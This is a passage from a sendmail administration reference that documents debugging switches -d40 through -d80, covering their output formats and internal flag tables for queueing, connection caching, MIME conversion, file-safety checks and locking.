First, the queue identifier is printed (qid). If this identifier is brand-new, the phrase "(new id)" is printed. Next, sendmail prints complete information about each recipient for the message using the printaddr() routine. Finally, done queueing is printed, and the queuing of the qid item is finished.

When sendmail processes files in the queue, it first prereads all the qf files and sorts the jobs by priority. After the list has been sorted, the -d40.1 debugging switch causes sendmail to print that list, one message per line, in the following format:

qfname: pri=priority

Here, qfname is the basename of the qf file, and priority is the current priority of each message (see Section 34.8.53, RecipientFactor (y)). After the sorted list of messages has been processed, and if there are any messages in that list, sendmail attempts to deliver each of the messages in the order in which it appears in the list. The -d40.1 debugging switch causes sendmail to print the following line of information for each message processed:

dowork: (qfname)

37.5.139 -d40.3

Show envelope flags

The -d40.3 debugging switch causes the envelope flags for each message to be printed as it is queued:

>>>>> queueing qid(new id) >>>>>   <-  from -d40.1
  e_flags=  output of printenvflags() here

The envelope flags are described in Table 37.3 in Section 37.5.12.

37.5.140 -d40.4

Show qf file lines as they are read

The qf file is composed of individual lines of information (see Section 23.9.11, P line). The -d40.4 debugging switch causes sendmail to print each of those lines as it is read:

+++++ Xtext

Each line begins with five plus characters. The qf file's key letter (here, X) follows, then the rest of the text that made up that line. In the qf file, indented lines (lines that begin with a space or tab character) that immediately follow the key line are appended to that key line. Those joined lines are printed after they are joined. Note that the lines of the qf file are printed before they are processed by sendmail. An error in a line is printed after the line is printed.

If the queue file could not be read, the -d40.4 debugging switch instead causes sendmail to print this error:

readqf(qid) failed

Here, qid is the queue identifier for the message. Note that reading can legitimately fail if the queue file is locked. Use -d40.8 (described below) to see the exact reason for failure.

37.5.141 -d40.8

Show reasons for failure

The -d40.8 debugging switch causes sendmail to print the reason it could not process a message's qf file. One possibility is:

readqf(qfname): fopen failure (error text here)

If the failure was caused by anything other than the file's nonexistence, the following is also logged:

readqf: no control file qfname

If the qf file could not be read because it is locked by another incantation of sendmail (a valid reason), the -d40.8 debugging switch prints:

qid: locked

Here, qid is the identifier portion of the qf file. If the log level is set to greater than 19 (see the LogLevel (L) option, Section 34.8.33, LogLevel (L)), the above message will also be logged.

For security the sendmail program fstat(2)'s the qf file after it is open to make sure it cannot be fooled by a race condition. If that fstat(2) fails, the following is printed if the -d40.8 debugging switch was specified:

readqf(qid): fstat failure (error text here)

If the qf file is owned by someone other than the effective uid of sendmail, the qf file will be renamed into a Qf file (see Section 23.3, "A Bogus qf File (V8 only): Qf"). If this -d40.8 debugging switch was specified, the following message will also be printed:

readqf(qid): bogus file

The MinQueueAge option (see Section 34.8.41, MinQueueAge) determines the interval between queue runs for any given file. If a qf file was not last run at least MinQueueAge minutes ago, it is skipped and the -d40.8 debugging switch causes the following message to be printed:

qid: too young (howlong)

If the log level is set to greater than 19 (see the LogLevel (L) option, Section 34.8.33), the above message will also be logged.

37.5.142 -d40.9

Show qf and lock file descriptors

After sendmail has opened the qf file (with -d40.1) and printed the envelope flags (with -d40.3), this -d40.9 debugging switch will cause the file descriptors for the qf file and its corresponding lock file to be dumped:

>>>>> queueing qid(new id) >>>>>   <-  from -d40.1
 e_flags=                         <-  from -d40.3
 tfp=  output of dumpfd() here
 lockfp=  output of dumpfd() here

The e_flags are described in Table 37.3 of Section 37.5.12. Here, tfp= shows the file descriptors for the qf file, and lockfp= shows the descriptors for the lock. See -d2.9 (Section 37.5.13) for a description of output of dumpfd().

37.5.143 -d40.32

Dump the send queue

The -d40.32 debugging switch causes sendmail to dump the list of message recipients:

>>>>> queueing qid(new id) >>>>>   <-  from -d40.1
  e_flags=                         <-  from -d40.3
  sendq=   <-  output of printaddr()) here (see Section 37.3.1)
  tfp=                             <-  from -d40.9
  lockfp=                          <-  from -d40.9

37.5.144 -d41.1

Trace queue ordering

(useful)

The -d41 (a.k.a. -d41) debugging switch causes sendmail to print its ordering of the queue. First it prints

orderq:
        QueueLimitId = qid              <-  if -qI used
        QueueLimitSender = sid          <-  if -qS used
        QueueLimitRecipient = rid       <-  if -qR used

See Section 23.6.2.3, "Process by identifier/recipient/sender: -q[ISR]" for an explanation of how the -qI, -qS, and -qR command-line switches can limit the scope of a queue run. If none of them were specified, only orderq: is printed. The -d41.1 debugging switch is extremely handy for previewing the effect of the -qI, -qS, and -qR command-line switches. When combined with -bp (mailq), these switches limit the queue listing and thus preview the effect of a limited queue run:

% mailq
                Mail Queue (1 request)
-Q-ID- -Size- ---Q-Time--- ------Sender/Recipient------
MAA11111     4560 Tue Dec 31 12:37 you
                                   you@here.us.edu
% mailq -d41.1 -qI22222
orderq:
        QueueLimitId = 22222
Mail queue is empty

The -d41.1 debugging switch also traces the growth of the queue working list. Every time the limit of that list is reached, the internal routine grow_wlist() is called to extend the list size by QUEUESEGSIZE (where QUEUESEGSIZE is described in Section 18.8.38, QUEUESEGSIZE).

grow_wlist: WorkListSize=current
grow_wlist: WorkListSize now newsize

If the log level is set to greater than 1 (see the LogLevel (L) option, Section 34.8.33), the following is also logged each time the list size grows:

grew WorkList for qdirectory to newsize

If the size could not be increased (because the program reached the limit of available memory) and if the LogLevel (L) option is greater than 0, sendmail will log this error at LOG_ALERT:

FAILED to grow WorkList for qdirectory to newsize

This message will repeat until there are no more queue entries to process after the limit is received. However, all the files that are already in the work list will be processed, so presumably the next run will catch the failed messages.

37.5.145 -d41.2

Cannot open qf

Ordinarily, sendmail is silent about failures to open a qf file, but the -d41.2 debugging switch causes it to print the reason the open failed:

orderq: cannot open qfname (reason for failure here)

Here, qfname is the name of the qf file that could not be opened.

37.5.146 -d41.49

Show excluded (skipped) queue files

The 41.49 debugging switch causes sendmail to display the queue files that were not included in the work list:

skipping qfname (bit)

Here, the bit is a hexadecimal representation of the requirement that was not met. These bits are listed in Table 37.15.

Table 37.15: Bits Describing a Queue Run's Requirements
Hex | Mnemonic | Description
1 | NEED_P | Priority must be high enough (required qf file line)
2 | NEED_T | Must have been in queue long enough (required qf file line)
4 | NEED_R | Match a recipient
10 | NEED_S | Match a sender

Note that nothing will be printed if the message was skipped because its identifier did not match the -qI specification.

37.5.147 -d41.50

Show every file in the queue

The sendmail program scans the queue directory looking for all the qf files to set up its working list. If a file doesn't start with the letters "qf," it is ordinarily silently skipped. The -d41.50 debugging switch causes sendmail to display every single file it finds in its queue directory:

orderq: checking file

The file can be a directory, such as .., or a regular file, such as a df or qf file.

37.5.148 -d42.2

Show connection checking

V8 sendmail can be configured with the ConnectionCacheSize (k) option (see Section 34.8.10, ConnectionCacheSize (k)) to maintain open SMTP connections to a few other hosts. Before making a new SMTP connection, sendmail checks to see if it already has one established. The -d42.2 [11] debugging switch causes sendmail to print the result of that check.

[11] Note that there is no -d42.1 information.

mci_get(host mailer): mci_state=state, _flags=flag, _exitstat= stat, _errno=err

Here, the host is the name of the host to which the connection is to be made, and the mailer is the symbolic name of the delivery agent. The state is the status of the current SMTP connection (if there is one) as shown in Table 37.16.

Table 37.16: mci_get() Connection States
State | Mnemonic | Description
0 | MCIS_CLOSED | No traffic on this connection
1 | MCIS_OPENING | Sending initial protocol
2 | MCIS_OPEN | Connection is open
3 | MCIS_ACTIVE | Message being sent
4 | MCIS_QUITING | Running SMTP quit protocol
5 | MCIS_SSD | SMTP service shutting down
6 | MCIS_ERROR | I/O error on connection

The flag describes the overall status of the connection. It can have one or more values from those shown in Table 37.17 where those values are OR'd together.

Table 37.17: mci_get() Status Flags
Flag | Mnemonic | Description
0x0001 | MCIF_VALID | If set, this entry is valid
0x0002 | MCIF_TEMP | If set, don't cache this connection
0x0004 | MCIF_CACHED | If set, connection is currently in open cache
0x0008 | MCIF_ESMTP | This host speaks ESMTP
0x0010 | MCIF_EXPN | EXPN command supported
0x0020 | MCIF_SIZE | SIZE option supported
0x0040 | MCIF_8BITMIME | BODY=8BITMIME supported
0x0080 | MCIF_7BIT | Strip this message to 7 bits
0x0100 | MCIF_MULTSTAT | MAIL11V3, handles MULT status
0x0200 | MCIF_INHEADER | Currently outputting header
0x0400 | MCIF_CVT8TO7 | Convert from 8 to 7 bits
0x0800 | MCIF_DSN | DSN extension supported
0x1000 | MCIF_8BITOK | Okay to send 8 bit characters
0x2000 | MCIF_CVT7TO8 | Convert from 7 to 8 bits
0x4000 | MCIF_INMIME | Currently reading MIME header

The stat is the exit status of the last delivered mail message to this connection. It is one of the values defined in <sysexits.h>. The err is the value of the last system error (if any), as defined in <errno.h>.

37.5.149 -d42.5

Trace caching and uncaching connections

The -d42.5 debugging switch shows connections being cached and freed:

mci_cache: caching addr (host) in slot slot
mci_uncache: uncaching addr (host) from slot slot (doquit)

Here, addr is the address in memory of the C language structure (struct mailer_con_info defined in sendmail.h) that defines the current (or about to be made) connection. The host is the name of the host to which the connection is to be made. The slot is an index into the array of structures that contain the connection information. For uncaching, the doquit is a Boolean that tells sendmail to close the connection if it is nonzero.

The -d91.100 debugging switch produces information identical to the above but logs its output at LOG_DEBUG instead of printing it:

qid: mci_cache: caching addr (host) in slot slot
qid: mci_uncache: uncaching addr (host) from slot slot (doquit)

Note that each line is prefixed by the queue identifier for the message (qid). The -d91.100 debugging switch is especially handy for monitoring caching when running sendmail as a daemon.

37.5.150 -d43.1

Trace MIME conversions

V8.7 sendmail can convert 8-bit MIME to 7 bits. The -d43.1 (a.k.a. -d43) debugging switch traces this process.

mime8to7: flags = mflags, boundaries =  boundaries printed here

Here, the internal mime8to7() routine has been called to do the conversion. The mflags are printed in hexadecimal, and are described in Table 37.18.

Table 37.18: Conversion Flags for mime8to7()
Hex | Mnemonic | Description
0x00 | M87F_OUTER | This is the outer context
0x01 | M87F_NO8BIT | Can't have 8-bit in this section
0x02 | M87F_DIGEST | Currently processing a multipart digest

The boundaries is either <none> or a list of the boundaries found in the message. In multipart messages the -d43.1 debugging switch causes each boundary to be printed as it is found:

mime8to7: multi part boundary boundary printed here

37.5.151 -d43.3

See the final MIME boundary name

The -d43.3 debugging switch is used to see the final MIME boundary name that is selected:

mime8to7=>boundary (multipart)
mime8to7=>boundary (basic)

Each line is prefixed with three tabs.

The -d43.3 debugging switch is also used to trace 7- to 8-bit conversion. If a delivery agent has the F=9 flag set (see Section 30.8.6, F=9) and if the message has a Content-Transfer-Encoding: header that specifies Base64 or Quoted-Printable, sendmail will attempt to convert it from its encoded 7-bit form back into 8-bit form:

mime7to8 => base64 or quoted-printable  to 8bit done

37.5.152 -d43.5

Watch search for boundaries

The -d43.5 debugging switch allows you to watch the search for boundaries. First each line read is printed:

mimeboundary: line="line is printed here"...

                                                      boundary, if found, printed here

Then, if the line contained a valid MIME boundary, the found boundary is printed at the end of the preceding.

37.5.153 -d43.8

Show the calculations

The sendmail program determines how to convert the MIME message by examining the first eighth of the file. If the first eighth of the total number of characters in the file have the high bit set, conversion will be with Base64; otherwise, it will be with Quoted-Printable (see Section 34.8.22, EightBitMode (8)). If the message is marked as binary, it is always converted with Base64. The -d43.8 debugging switch causes sendmail to print the result of this calculation:

mime8to7: hcount high bit(s) in bcount byte(s), cte=type

Here, cte= is either [none] or the content-transfer-encoding type, such as binary.

37.5.154 -d43.35

Show boundary lines as emitted

The -43.35 debugging switch causes each new boundary line to be printed as it is inserted into the message:

...-mid-boundary here
...-end boundary here-

The midboundary marks begin with a -. The ending-boundary mark begins and ends with a -.

37.5.155 -d43.36

Show content transfer encoding

The -43.36 debugging switch causes the encoding header to be printed as it is added to the message:

...Content-Transfer-Encoding:  type of encoding here

The type of encoding will either be the original as printed with cte= in -d43.8 above or Base64 or Quoted-Printable.

37.5.156 -d43.40

Show parse of Content-Type: header

The -43.40 debugging switch causes the contents of the parsed Content-Type: header to be displayed.

pvp[n] = "item"

For zero through n items that were parsed, each is printed on its own line.

37.5.157 -d43.99

Print the leading/following comments

The -d43.99 debugging switch tells sendmail to print each line of MIME commentary that precedes the leading boundary:

... leading commentary here
...-midboundary here

and the commentary that follows the last boundary:

...-end boundary here-
... trailing commentary here

37.5.158 -d43.100

Mark collect() and putheader()

The -d43.100 debugging switch causes sendmail to print a mark just after it has called collect() and after it has called putheader():

+++after collect
+++after putheader

The collect() routine is traced with the -d30 debugging switch, and putheader() is traced with the -d34 debugging switch.

37.5.159 -d44.4

Trace safefile()

The V8 sendmail program tries to be extra careful about file permissions, and the key to checking them is the internal safefile() function. The -d44.4 debugging switch [12] prints the parameters passed to the safefile() function:

[12] There is no -d44.1 debugging information.

safefile(fname, uid=uid, gid=gid, flags=sff_flags, mode=wantmode)

Here, the file named fname is being checked to determine whether the user identified by the uid, with the group gid, is allowed to find or use the file. The range of checking is determined by the hexadecimal sff_flags, described in Table 37.19. Where a file's permissions are required, the mode printed in wantmode will be used.

Table 37.19: safefile() Access Flags
Flag | Mnemonic | Description
0x000 | SFF_ANYFILE | No special restrictions
0x001 | SFF_MUSTOWN | Uid must own this file
0x002 | SFF_NOSLINK | File must not be a symbolic link
0x004 | SFF_ROOTOK | Okay for root to own this file
0x008 | SFF_RUNASREALUID | If no controlling user, run as real uid
0x010 | SFF_NOPATHCHECK | Don't bother checking leading path
0x020 | SFF_SETUIDOK | Setuid files are okay
0x040 | SFF_CREAT | Okay to create the file if necessary
0x080 | SFF_REGONLY | Allow regular files only
0x100 | SFF_OPENASROOT | Open as root instead of as uid

If the SFF_NOPATHCHECK flag is clear (0), sendmail examines each component of the path leading the file. If any component of the path is rejected, the -d44.4 debugging switch causes sendmail to print:

[dir fname]  reason for the rejection here

A path component can fail because stat(2) failed. If the uid is 0 for root, a warning is logged if a component is found to be group- or world-writable:

WARNING: writable directory fname

For each component in the path, safefile() checks to verify that this user has permission to search the directory. If the SFF_ROOTOK flag is not set (is clear), root (uid 0) access is special cased in that all directory components must be world-searchable.

Otherwise, the path component is accepted if it is owned by the uid and has the user search bit set or if its group is the same as gid and has the group search bit set. If NO_GROUP_SET is undefined when sendmail is compiled (see Section 18.8.31, NO-GROUP-SET) and the DontInitGroups option (see Section 34.8.19, DontInitGroups) is not set, each group to which uid belongs is also checked. Otherwise, the directory must be world-searchable.

If the fname could not be checked with stat(2), the -d44.4 debugging switch causes the reason to be printed:

 reason for failure here

If the file does not exist, it may need to be created. If so, sendmail checks to be sure that the uid has write permission. The result is printed with the -d44.4 debugging switch like this:

[final dir fname uid uid mode wantmode]  error here

If the file exists and if symbolic links are supported, the file is rejected if it is a symbolic link and if the SFF_NOSLINK flag is set. If the -d44.4 debugging switch is specified, this error is printed:

[slink mode mode]    EPERM

If the SFF_REGONLY flag is set the file must be a regular file. If it is not, it is rejected, and -d44.4 causes the following to be printed:

[non-reg mode mode]    EPERM

If wantmode has the write bits set, and the existing file has any execute bits set, the file is rejected and -d44.4 causes the following to be printed:

[exec bits mode]    EPERM

If the file has more than one link, the file is rejected and -d44.4 causes the following to be printed:

[link count nlinks]    EPERM

If the SFF_SETUIDOK flag is specified, if the file exists, if it has the suid bit set in the mode but no execute bits set in the mode, and if it is not owned by root, sendmail performs subsequent checks under the suid and sgid identities of the existing file. A similar process occurs with the sgid bit. Sendmail then prints:

[uid new_uid, stat filemode, mode wantmode]

If access is finally allowed, sendmail concludes the above with:

OK

Otherwise, it concludes with:

EACCES

37.5.160 -d44.5

Trace writable()

(useful)

The -d44.5 debugging switch displays the values passed to sendmail's internal writable() routine. This routine nearly duplicates the function of the access(3) call [13] but does it much more safely and allows checks to be made under the identity of the controlling user:

[13] It is more restrictive for root-owned files and can allow the suid semantics needed for delivery to files.

writable(fname, sff_flags)

Here, the fname is the full pathname of the file being checked. The sff_flags are documented in Table 37.19 above. Success or failure is described under -d44.4.

37.5.161 -d45.1

Show envelope sender

The -d45.1 (a.k.a. -d45) debugging switch causes sendmail to print the current form of the envelope sender address before it has fully rewritten that address into its final form:

setsender(addr)

If the addr is empty (as would be the case if the sender were being gathered from the header), sendmail prints NULL. The final envelope sender address is placed into the $f macro. (See Section 31.10.14, $f for a description of that macro and the process used by sendmail to set the sender's address.)

37.5.162 -d45.3

Show saved domain

If the F=C flag (see Section 30.8.15) is set for the delivery agent selected for the sender, sendmail will save the domain part of the address for later use. The -d45.3 causes the saved domain part to be printed:

Saving from domain: domain

The domain is saved in the e_fromdomain part of the C language structure that contains the envelope information for the sender. Later, if the F=C flag is set, this domain will be appended to any recipient addresses that lack a domain part.

37.5.163 -d45.5

Show don't send to sender

Unless a message is bounced, it will not be sent to the sender. The -d45.5 debugging switch causes sendmail to display sender information when this decision is made:

setsender: QDONTSEND  output of printaddr() here (see Section 37.3.1)

37.5.164 -d46.9

Show xf file's descriptors

The xf queue file (see Section 23.2.7, "The Transcript File: xf") contains a record of the errors and other information produced by a delivery agent. That information is used for bounced mail. The -d46.9 debugging switch [14] causes sendmail to dump the file descriptors for the opened xf file:

[14] There is no -d46.1 information.

openxscript(xfqid):
 output of dumpfd() here (see Section 37.5.13)

If sendmail cannot open an xf file, it logs this warning:

Can't create transcript file xfqid

It then tries to open /dev/null so that it can continue with the delivery. If that fails, it logs the following panic message and immediately exits:

Can't open /dev/null

Once the file is open (or not), sendmail turns it into an I/O stream with a call to fdopen(3). If that call fails, sendmail logs this message and immediately exits:

Can't create transcript stream xfqid

37.5.165 -d48.2

Trace calls to the check- rule sets

Beginning with V8.8, sendmail calls rule sets whose names begin with check_ (see Section 29.10, "The check_... Rule Sets") to filter incoming and outgoing mail. The -d48.2 debugging switch [15] can be used to display the workspace being passed to each such rule set:

[15] There is no -d48.1 information.

rscheck(name, left, right)

The name is the name of the named rule set being called. If right is missing, it prints as NULL, and the workspace passed to the rule set is:

left

If right is present, the workspace is:

left $| right

Here, the $| in the workspace is the $| operator.

37.5.166 -d49.1

Trace checkcompat()

The checkcompat() routine inside conf.c can be tuned to solve many problems (see Section 20.1, "How checkcompat() Works"). The default -d49.1 (a.k.a. 49) debugging switch inside it prints the arguments that were passed to it:

checkcompat(to=recipient, from=sender)

When designing your own checkcompat(), you should only use the -d49 category to trace it.

37.5.167 -d50.1

Show envelope being dropped

Deallocating an envelope frees that envelope's C language structure for future reuse. Deallocation also causes all the queued files for that mail message to be removed (except as possibly prevented by the -d51 debugging switch described in the next section). An envelope is deallocated after its mail message has been delivered to all recipients (including any failed deliveries).

The -d50.1 (a.k.a. -d50) debugging switch causes sendmail to print information about each envelope that is being deallocated:

dropenvelope loc id=ident flags=  output of printenvflags() here

This output shows the address in memory for the envelope's C language structure (loc), the queue identifier (ident, as used to name queued files), and the envelope flags as printed by printenvflags() (see Table 37.3 in Section 37.5.12).

Note that if the version of sendmail is pre-8.7, a Return-Receipt: header was in the message, and delivery was to at least one local recipient, the process of deallocation also causes acknowledgment of delivery to be returned to the sender and triggers error returns.

The -d50.1 debugging switch also shows the qf and df files just before they are removed:

===== Dropping [dq]fqid... queueit=bool, e_flags=  output of printenvflags() here

37.5.168 -d50.2

Show Booleans

The -d50.2 debugging switch shows the setting of three variables that determine how the envelope will be treated:

failure_return=val delay_return=val success_return=val queueit=val

A 1 indicates that the variable is true, a 0 indicates that it is false.

37.5.169 -d50.10

Also show the send queue

The -d50.10 debugging switch causes the current send queue to also be printed:

sendq= output of printaddr() here (see Section 37.3.1)

37.5.170 -d51.4

Show queue entries being unlocked

The -d51.4 [16] debugging switch causes V8 sendmail to print the following each time an envelope is unlocked in the queue:

[16] There is no -d51.1 information.

unlockqueue(qid)

Here, qid is the queue identifier.

37.5.171 -d51.104

Prevent unlink of xf file

The xf file (one of the files that form a queued mail message) holds error messages generated by a delivery agent. The last line of text in this file is made the value of the M line in the qf file (see Section 23.9.9, M line). Ordinarily, the xf file is removed after that error line is saved.

The -d51.104 debugging switch prevents sendmail from removing the xf file. If mail continually fails, this debugging switch can be used to save all error messages instead of just the one that is usually saved in the qf file.

37.5.172 -d52.1

Show disconnect from controlling TTY

When sendmail runs as a daemon, it must disconnect itself from the terminal device that is used to run it. This prevents keyboard signals from killing it and prevents it from hanging (on a dial-in line waiting for carrier detect, for example).

The -d52.1 (a.k.a. -d52) debugging switch shows sendmail disconnecting from the controlling terminal device:

disconnect: In fd Out fd, e=addr

For both its input and output connections, the fd is a decimal representation of the file descriptor number. The addr is a hexadecimal representation of the address that contains the envelope information. If the L logging level option is greater than 71, sendmail syslog(3)'s the following message to show that it has disconnected:

in background, pid=pid

Here, pid is the process identification number of the child process (the daemon).

37.5.173 -d52.100

Prevent disconnect from controlling tty

(useful)

The -d52.100 debugging switch [17] prevents sendmail from disconnecting from its controlling terminal device. To show that it is skipping the disconnect, it prints:

[17] This was formerly the -d52.5 debugging switch.

don't

This debugging switch is useful for debugging the daemon. Note that this -d52.100 prevents the detach but allows the daemon to fork(2). This differs from the behavior of the -d99.100 debugging switch.

37.5.174 -d53.99

Trace xclose()

Ordinarily, files are closed silently. The -d53.99 [18] debugging switch can be used to observe file closings. Just before the file is closed, sendmail prints:

[18] There is no -d53.1 information.

xfclose(fp) what file

Here, fp is the file pointer for the open file, printed in hexadecimal. The what is an indication of the internal function that requires the close (such as savemail or mci_uncache). The file is the name of the file to be closed.

If the close fails, the following is also printed:

xfclose FAILURE: why

Here, why is the text corresponding to the error value returned by fclose(3) (see sys_errlist(3)).

37.5.175 -d54.1

Show error return and output message

The exit values that are returned by sendmail are documented in Section 36.5. The -d54.1 debugging switch shows the exit value being set by the internal syserr() routine:

syserr: ExitStat = num

Here, num corresponds to the values defined in <sysexits.h>.

37.5.176 -d54.8

Show message and flags

The -d54.8 debugging switch causes the text of the error message to be printed along with the flags that control its actual output:

-- message (hold) (held)

If (hold) appears, it means that the message will be held (stored) and not output. If (held) appears, it means that the message was previously held and should not be added to the xf file. If neither is printed, the message will be logged and appended to the xf file. If the message on output fails, sendmail will attempt to log this panic message:

qid: SYSERR: putoutmsg (host): error on output channel sending "message": err

If the message was never queued, the qid will print as NOQUEUE. If you are not currently connected to a host, it will print as NO-HOST. The err is the error that caused the message to fail (as defined in either <sys/errno.h> or sysexits.h).

37.5.177 -d55.60

Show file locking

The sendmail program tries to lock every file before reading or writing it. If sendmail was compiled with HASFLOCK defined (see Section 18.8.9, HAS...), it uses flock(3) to lock and unlock files. If HASFLOCK is not defined, sendmail tries to lock and unlock with fcntl(2).

The -d55.60 [19] debugging switch tells sendmail to print how it is about to try to lock a file:

[19] There is no -d55.1 information.

lockfile(filename, action=set, type=l_type)
lockfile(filename, type=what)

The first form is printed if HASFLOCK is not defined. In it, sendmail is about to use fcntl(2) to lock the file. The action is a decimal representation of the F_SET flag that is fcntl(2)'s second argument. The l_type is the l_type structure member of fcntl(2)'s third argument (see the online manual for fcntl(2)).

The second form is printed if HASFLOCK is defined so that flock(2) will be used. In it, what is the type of locking to be performed, printed in octal, as described in Table 37.20.

Table 37.20: Flags That Control File Locking
Flag | Mnemonic | Description
001 | LOCK_SH | Make it a shared lock
002 | LOCK_EX | Make it an exclusive lock
004 | LOCK_NB | Make it a nonblocking lock
010 | LOCK_UN | Unlock the file

For both forms of locking, if the file is successfully locked, the above debugging output is concluded with:

SUCCESS

Otherwise, it is concluded with:

(error message here) FAILURE

In this later instance, regardless of the setting of this debugging flag, sendmail will also log the following error message:

cannot lock(filename, fd=num, type=what, omode=octal, euid=euid)

Here, lock is either lockf or flock. The filename and fd are the file name and file descriptor for the file. The what is the same as described in Table 37.20. If F_GETFL was defined at the system level when sendmail was compiled, then omode is an octal representation of the value returned by an fcntl(2) F_GETFL call; otherwise, it is a -1 in octal. The euid is the effective uid under which sendmail was running at the time.

37.5.178 -d56.1

Persistent host status tracing

The -d56.1 (a.k.a. -d56) debugging switch tells sendmail to print a record of each step it is going through when saving and updating its persistent host status. The HostStatusDirectory option (see Section 34.8.31, HostStatusDirectory) specifies where and whether persistent host status will be saved. Just before a status file is updated, and if the SingleThreadDelivery option (see Section 34.8.64, SingleThreadDelivery) is true, it needs to be locked:

mci_lock_host: attempting to lock host

Here, host is the name of the host whose status is being saved or updated. If the hostname is empty (as in the case of an address that contains only an RFC822 comment), one of the following errors is printed for an attempt to lock or unlock the host information:

mci_lock_host: NULL mci
mci_unlock_host: NULL mci

After the status file is locked, sendmail will transfer the information from that file into its internal mci structure:

mci_load_persistent: Attempting to load persistent information for host

Again, if the hostname is empty, this error will print:

mci_load_persistent: NULL

If sendmail was unable to translate the hostname into a UNIX path, the -d56.1 debugging switch causes it to print:

mci_load_persistent: Couldn't generate host path

If sendmail was unable open the host status file, it prints:

mci_load_persistent: open(filename): host

Similarly, when sendmail needs to store or update the host information, it first prints that it is doing so:

mci_store_persistent: Storing information for host

If sendmail could not open the host status file, it prints:

mci_store_persistent: no statfile

The internals of the status file are described in Appendix Appendix B, Host Status File Internals.

Ordinarily, sendmail is silent about its inability to open status files when printing its host information with the hoststat(1) command (see Section 36.1.1, "hoststat (V8.8 and Above)"). But if the -d56.1 debugging switch is used, sendmail will complain:

mci_print_persistent: cannot open filename: host

When its host information is being purged with the purgestat(1) command (see Section 36.1.4, "purgestat (V8.8 and Above)"), the -d56.1 debugging switch tells sendmail to show what it is trying to achieve:

mci_purge_persistent: purging path
mci_purge_persistent: dpurge directory

37.5.179 -d56.2

More persistent host status tracing

The -d56.2 debugging switch causes sendmail to show additional information about what it is trying to do. Just before attempting to lock a status file, it prints:

mci_lock_host: attempting to lock host

If a path could not be generated from the hostname, sendmail prints this error:

mci_lock_host: Failed to generate host path for host

If sendmail could not lock the status file, it prints:

mci_lock_host: couldn't get lock on filename

When sendmail is about to update a status file, just before unlocking that file, it announces that fact:

mci_unlock_host: store prior to unlock

The process of updating or reading a status file begins by sendmail traversing the directory hierarchy under which that file is stored. If sendmail is unable to stat(2) any component of that path, it prints the following error:

mci_traverse: Failed to stat component: reason for failure

If sendmail cannot descend into the next directory, it prints:

mci_traverse: opendir component: reason for failure

When purging its host information with the purgestat(1) command (see Section 36.1.4), if sendmail cannot remove the status file, it prints:

mci_purge_persistent: failed to unlink filename: reason for failure

And if it cannot remove any of the directory components, it prints:

mci_purge_persistent: rmdir directory: reason for failure

37.5.180 -d56.12

Perform a sanity check

As a "sanity check," the -d56.12 debugging switch causes sendmail to print the following if the lock was successfully acquired on the status file:

mci_lock_host: Sanity check - lock is good

37.5.181 -d56.80

Trace creating the path to the status file

If the status file does not exist, sendmail recursively makes the directories leading to it. The -d56.80 debugging switch is used to trace this process:

mci_generate_persistent_path(host): FAILURE errno
mci_generate_persistent_path(host): SUCCESS path

If this process of making directories fails, errno is printed, as listed in <errno.h>. If it succeeds, the path created is displayed.

37.5.182 -d56.93

Dump MCI record for the host

The -d56.93 debugging switch causes sendmail to dump the connection cache information associated with a host's status file:

mci_read_persistent: fp=hex, mci= output of mci_dump() here (see Section 37.5.44)

Here, hex is the file pointer of the open status file printed in hexadecimal. That is followed by a dump of the MCI record for the host.

37.5.183 -d57.2

Monitor vsnprintf() overflows

If HASSNPRINTF is not defined, sendmail emulates the snprintf(3) function. If the internal buffer of that emulation overflows, the -d57.2 debugging switch causes this warning to be printed:

vsnprintf overflow: first 200 characters of buffer

Note that you may have to also use the -v command-line switch to make this output visible.

37.5.184 -d59

XLA from contrib

(obsolete)

See the XLA package in the contrib/xla directory as distributed with the V8 sendmail source. Note that XLA is no longer distributed with sendmail as of V8.8.

37.5.185 -d60.1

Trace map lookups inside rewrite()

(useful)

Rules defined by the R configuration command are rewritten by sendmail's internal rewrite() subroutine. The $[ and $( lookup operators (see Section 33.4.3, "$[ and $]: A Special Case" and Section 33.4, "Use Maps with $( and $) in Rules") cause sendmail to look up keys in databases (maps).

If sendmail is running in deferred mode (see Section 34.8.16), it skips map lookups because they may cause DNS accesses. The -d60.1 (a.k.a. -d60) debugging switch causes sendmail to print that it is skipping the lookup:

map_lookup(name, key) => DEFERRED

Here, name is the map type, such as dequote or host. The key is the information being looked up.

If running in something other than deferred mode, sendmail performs the lookup. If the lookup fails (if key is not found), sendmail prints:

map_lookup(name, key) => NOT FOUND (stat)

Here, stat is the number of the error that caused the failure. If it is 0, then the lookup failed merely because the key was not found. Otherwise, it corresponds to the error numbers in <sysexits.h>. Then if stat is the special value 75 (for EX_TEMPFAIL), sendmail also prints:

map_lookup(name, key) tempfail: errno=err

Here, err is the error number that corresponds to the errors listed in <errno.h>.

If the key is successfully found, sendmail prints:

map_lookup(name, key) => replacement value here (stat)

Note that the replacement value will be whatever value was defined by the -a database switch when the K command defined the map (see Section 33.3.4.2, "-a append tag on successful match (V8.1 and above)").

37.5.186 -d61.10

Trace gethostbyname()

The gethostbyname(3) library routine is called by sendmail every time sendmail needs to find the canonical name of a host. The -d61.10 [20] debugging switch shows the result of that lookup:

[20] There is no -d61.1 information.

_switch_gethostbyname_r(host)... canonical name here
__switch_gethostbyname(host)... canonical name here
gethostbyname(host)... canonical name here

In all three lines of output, the host was looked up to find its canonical name. If one was found, its canonical name is printed; otherwise, failure is printed. The first two lines show variations on gethostbyname(3) that was required by some early SysVR4-based machines. These represent sendmail's attempt to canonify the host no matter what.

37.5.187 -d62.1

Log file descriptors before and after all deliveries

The -d62.1 (a.k.a. -d62) debugging switch causes sendmail to log the state of all of its file descriptors. It does this once just before it starts to process the list of its recipients and again just after it has completed delivery of all its recipients. Note that this debugging switch is unusual in that it causes its output to be logged with syslog(3), rather than written to stdout.

37.5.188 -d62.8

Log file descriptors before each delivery

The -d62.8 debugging switch causes sendmail to log the state of all its file descriptors just before undertaking delivery of each message.

37.5.189 -d62.10

Log file descriptors after each delivery

The -d62.10 debugging switch causes sendmail to log the state of all its file descriptors just after completing delivery of each message.

37.5.190 -d80.1

Content-Length: header (Sun enhancement)

The -d80.1 (a.k.a. -d80) debugging switch is used to watch how Sun's version of sendmail handles the Content-Length: header. As soon as the size of the body of a message is known, Sun's sendmail stores it in the envelope information. When the time comes to emit the Content-Length: header, that information is fetched. If the size is unknown, the -d80.1 debugging switch causes sendmail to print:

content_length(): Error:  Message bodysize undefined !

